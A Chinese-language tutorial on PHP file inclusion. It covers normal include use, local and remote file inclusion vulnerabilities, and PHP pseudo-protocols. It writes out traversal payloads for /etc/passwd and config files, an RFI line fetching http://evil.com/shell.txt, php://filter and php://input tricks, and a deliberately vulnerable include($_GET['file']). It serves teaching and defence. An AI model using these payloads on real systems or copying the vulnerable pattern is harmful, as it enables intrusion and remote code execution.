一、文件包含的作用
1. 代码复用和模块化
// 传统方式:每个页面都要写相同代码
// page1.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...页面内容...
// page2.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...另一个页面内容...
// 使用包含:提取公共部分
// header.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// page1.php
include 'header.php';
// ...页面1特有内容...
// page2.php
include 'header.php';
// ...页面2特有内容...
2. 配置文件管理
// config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password';
$db_name = 'myapp';
?>
// 所有需要数据库连接的页面
require 'config.php';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
3. 动态内容加载
// 根据用户选择加载不同模块
$page = $_GET['page'] ?? 'home';
switch($page) {
case 'about':
include 'pages/about.php';
break;
case 'contact':
include 'pages/contact.php';
break;
default:
include 'pages/home.php';
}
二、文件包含漏洞
漏洞产生原因
当包含的文件路径可以被用户控制时,就可能产生漏洞。
漏洞产生条件
// 危险代码示例
$page = $_GET['page']; // 用户可控输入
include($page . '.php'); // 直接包含用户输入
漏洞类型
1. 本地文件包含(LFI - Local File Inclusion)
攻击者读取服务器上的敏感文件:
// 假设有这样的代码
include($_GET['file']);
// 攻击者可以:
// 查看系统文件
?file=../../../etc/passwd
// 查看网站源码
?file=../../config.php
// 查看日志文件(可能包含攻击代码)
?file=../../../var/log/apache2/access.log
2. 远程文件包含(RFI - Remote File Inclusion)
攻击者包含远程服务器上的恶意文件:
// 需要 allow_url_include=On(默认关闭)
include($_GET['file']);
// 攻击者可以:
?file=http://evil.com/shell.txt
// 这样就会执行攻击者服务器上的PHP代码
PHP 伪协议使用总结
常用伪协议类型
-
file:// -
php://filter -
php://input -
zip://
一、file://协议
PHP配置要求
-
允许状态 :在
allow_url_fopen和allow_url_include均为 OFF 时仍可正常使用 -
作用:主要用于文件读取操作
示例
file:///etc/passwd
file://C:/Windows/system.ini
二、php://协议
1. php://filter
配置要求
- 允许状态:在双off的情况下也可以正常使用
参数说明
四个主要参数:
-
resource - 指定要筛选过滤的数据流(必需)
-
read - 读数据时的筛选过滤器
-
write - 写数据时的筛选过滤器
-
<, > - 数据流方向控制
使用示例
读取文件并base64编码:
php://filter/read=convert.base64-encode/resource=test.txt
写入时转换大小写:
php://filter/write=string.toupper/resource=666.txt
注:write参数需要配合 fopen($file, 'w') 写入模式使用
参数特性总结
-
read参数 :用于读取时处理 → 使用
file_get_contents()测试 -
write参数 :用于写入时处理 → 需要
fopen($file, 'w')模式测试
2. php://input
配置要求
-
allow_url_fopen:OFF/ON 均可 -
allow_url_include:必须为 ON
功能特性
-
访问请求原始数据的只读流
-
将POST请求中的数据作为PHP代码执行
三、压缩协议类
配置要求
- 允许状态:在双off的情况下也可以正常使用
1. zip://协议
格式
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
示例
zip://test.zip#test.txt
zip://C:/test.zip#dir/test.txt
2. bzip2://协议
格式
compress.bzip2://文件路径
示例
# 读取压缩文件
compress.bzip2://test.bz2
# 绝对路径
compress.bzip2://D:/test.bz2
# 相对路径
compress.bzip2://./test.bz2
3. zlib://协议
格式
compress.zlib://文件路径
示例
# 读取.gz文件
compress.zlib://test.gz
# 绝对路径
compress.zlib://D:/test.gz
# 网络文件解压读取
compress.zlib://http://example.com/data.gz
四、使用注意事项
-
路径格式:压缩协议中的文件路径需使用绝对路径
-
特殊字符 :
#在URL中需要编码为%23 -
权限限制:各协议受不同PHP配置项影响
-
安全风险:这些协议常被用于文件包含漏洞利用,生产环境应严格限制使用